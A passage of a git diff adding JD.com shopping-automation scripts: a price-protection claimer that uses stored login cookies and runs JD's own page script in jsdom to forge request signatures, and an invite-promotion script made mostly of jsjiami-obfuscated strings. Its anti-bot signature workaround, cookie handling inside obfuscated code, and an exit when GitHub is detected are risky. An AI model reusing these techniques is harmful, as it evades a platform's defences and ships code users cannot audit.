runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_price.js b/jd_price.js new file mode 100644 index 0000000..897d10a --- /dev/null +++ b/jd_price.js @@ -0,0 +1,323 @@ +/* +京东保价(h5st) +2022-02-24 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东保价 +39 20 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "39 20 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js,tag=京东保价 + +===============Surge================= +京东保价 = type=cron,cronexp="39 20 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js + +============小火箭========= +京东保价 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js, cronexpr="39 20 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东保价'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const jsdom = $.isNode() ? require('jsdom') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await jstoken(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.token = ''; + message = ''; + $.tryCount = 0; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await price() + if (i != cookiesArr.length - 1) { + await $.wait(2000) + await jstoken(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function price() { + let num = 0 + do { + $.token = $.jab.getToken() || '' + if ($.token) { + await siteppM_skuOnceApply(); + } + num++ + } while (num < 3 && !$.token) + await showMsg() +} + +async function siteppM_skuOnceApply() { + let body = { + sid: "", + type: "25", + forcebot: "", + token: $.token, + feSt: $.token ? "s" : "f" + } + const time = Date.now(); + const h5st = await $.signWaap("d2f64", { + appid: "siteppM", + functionId: "siteppM_skuOnceApply", + t: time, + body: body +}); + return new Promise(async resolve => { + $.post(taskUrl("siteppM_skuOnceApply", body, h5st, time), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_skuOnceApply API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + await $.wait(25 * 1000); + await siteppM_appliedSuccAmount(); + } else { + console.log(`保价失败:${data.responseMessage}`); + // 重试3次 + if ($.tryCount < 4) { + await $.wait(2 * 1000); + siteppM_skuOnceApply(); + $.tryCount++; + } else { + //message += `保价失败:${data.responseMessage}\n`; + } + + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function siteppM_appliedSuccAmount() { + let body = { + sid: "", + type: "25", + forcebot: "", + num: 15 + } + return new Promise(resolve => { + $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_appliedSuccAmount API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + console.log(`保价成功:返还${data.succAmount}元`) + message += `保价成功:返还${data.succAmount}元\n` + } else { + console.log(`保价失败:没有可保价的订单`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function jstoken() { + if ($.jab && $.signWaap) { + return; + } + + const { JSDOM } = jsdom; + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" + }); + let virtualConsole = new jsdom.VirtualConsole(); + let options = { + url: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + const dom = new JSDOM(` + + + + + `, options); + await $.wait(1000) + try { + $.jab = new dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }); + $.signWaap = dom.window.signWaap; + } catch (e) {} +} + +function downloadUrl(url) { + return new Promise(resolve => { + const options = { url, "timeout": 10000 }; + $.get(options, async (err, resp, data) => { + let res = null + try { + if (err) { + console.log(`⚠️网络请求失败`); + } else { + res = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}`); + resolve() + }) +} + +function taskUrl(functionId, body, h5st = '', time = Date.now()) { + return { + url: `${JD_API_HOST}api?appid=siteppM&functionId=${functionId}&forcebot=&t=${time}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}&h5st=${encodeURIComponent(h5st)}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://msitepp-fm.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://msitepp-fm.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_prodev.js b/jd_prodev.js new file mode 100644 index 0000000..3d769d6 --- /dev/null +++ b/jd_prodev.js @@ -0,0 +1,24 @@ +/* +邀请好友入会赢好礼 +环境变量 +prodevactCode 活动id +prodevinvitePin 自己的pin,选填 + +自动助力 ck1,自动获取上限, +只领豆子 +7 7 7 7 7 jd_prodev.js +*/ +const $ = new Env('邀请好友入会赢好礼-通用脚本'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const fs = require('fs'); +let cookiesArr = [], cookie = ''; +let actCode = process.env.prodevactCode ?? ''; +let invitePin = process.env.prodevinvitePin ?? '';; +let activityUrl = `https://prodev.m.jd.com/mall/active/dVF7gQUVKyUcuSsVhuya5d2XD4F/index.html?code=${actCode}&invitePin=${invitePin}`; + +var _0xod4='jsjiami.com.v6',_0xod4_=['‮_0xod4'],_0x550c=[_0xod4,'R3JyV1k=','Z2V0QWN0aXZpdHlQYWdl','eFVmQXM=','cmV3YXJkcw==','S1VrSnI=','VG9DaG8=','c2VBdmg=','b1lrSmc=','S0NJTFg=','SHhGWUU=','c3RhZ2U=','YUlLd1E=','cmV3YXJkRGVzYw==','cmV3YXJkTmFtZQ==','VmZDd1o=','cmV3YXJkU3RvY2s=','UGV4bFE=','aW52aXRlTnVt','VVVUR3I=','aW5kZXhPZg==','VkNDZ1c=','WWNWZ2I=','bG9nRXJy','VmlFVUY=','RWloSXI=','bGVuZ3Ro','VGN3ZEE=','ak13VWo=','QnBxWmE=','SHRhWVk=','cXl1b0c=','RXJ3WUU=','SEVRSXU=','WnN4TFc=','bllEVVg=','cGFyc2U=','RUNleFY=','UExUdWU=','aWFQcVg=','bmlja25hbWU=','alh3Z3E=','U2NXRlo=','aklVU2E=','b3BlbkNhcmRTdGF0dXM=','WlNVZG8=','WXdmU2M=','ZElnclM=','d3RGSWQ=','R3VYZFc=','QnFmUnY=','RE11ZkI=','SGJYVWY=','YmFCV3Y=','c2FTQU8=','b2xhZmI=','T1V4VWg=','d3dCcHM=','bUZSYkI=','RXN4QUg=','QW9mQlM=','bWNFWU0=','d2FpdA==','aWVKVFk=','c3RyaW5naWZ5','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','Z3Nwemc=','cVR2VmQ=','dmZURHc=','WUZXYXU=','bmx6YmM=','dkt0S1E=','WHhzRlU=','YWN0aXZpdHlTdGF0dXM=','WFVadnQ=','SkptbUM=','Vkxweng=','UndoWXc=','VkRlV28=','SExScG4=','aVJ0YWg=','Ki8q','Z3ppcCwgZGVmbGF0ZSwgYnI=','emgtQ04semgtSGFucztxPTAuOQ==','a2VlcC1hbGl2ZQ==','cGxvZ2luLm0uamQuY29t','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20v','bm93','S3N5a24=','a1ZNZ1c=','TGdpVU0=','ZWZ1U0w=','cHJaTkQ=','REFEemM=','RlFNTG0=','aHR0cHM6Ly9wbG9naW4ubS5qZC5jb20vY2dpLWJpbi9tbC9pc2xvZ2luP3RpbWU9','JmNhbGxiYWNrPV9fanNvbnA=','TWxtVUg=','Jl89','ZkV5TlE=','cmlRQWg=','bUtNdVk=','cnVMUFE=','WWlVcEs=','SUJOU0Y=','R09meng=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','Z2V0','QWhnc0c=','R29LcmY=','bmtUSHo=','bnNwVlk=','ZWNBcE4=','eGlRZkk=','dE9tUEo=','WU1UaFo=','eHpEaUc=','TElBQlg=','RHVFVUQ=','bFVYSng=','dUpUbUU=','RnlheXA=','SW9wdEc=','emgtSGFucy1VUztxPTEsIGVuLVVTO3E9MC45','YXBwbGljYXRpb24vanNvbg==','amRqb3kuamQuY29t','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20=','bkJpc08=','ZFVmZnE=','S1lYRmc=','bldQbmk=','T09UQVk=','eHd6a1U=','dGlId0w=','WWJyVms=','WlNJWW0=','ZFpzWlE=','dEVOYUs=','aXJVSEQ=','cnVQZGY=','bHpKcWY=','aHR0cHM6Ly9qZGpveS5qZC5jb20vbWVtYmVyL2JyaW5nL2dldEFjdGl2aXR5UGFnZT9jb2RlPQ==','Jmludml0ZVBpbj0=','Jl90PQ==','QWxzS0s=','aWxIbnI=','cVpRVWY=','VWlnd0U=','YWVFTnc=','cHp1aHo=','S0tXdUY=','aExMb1c=','U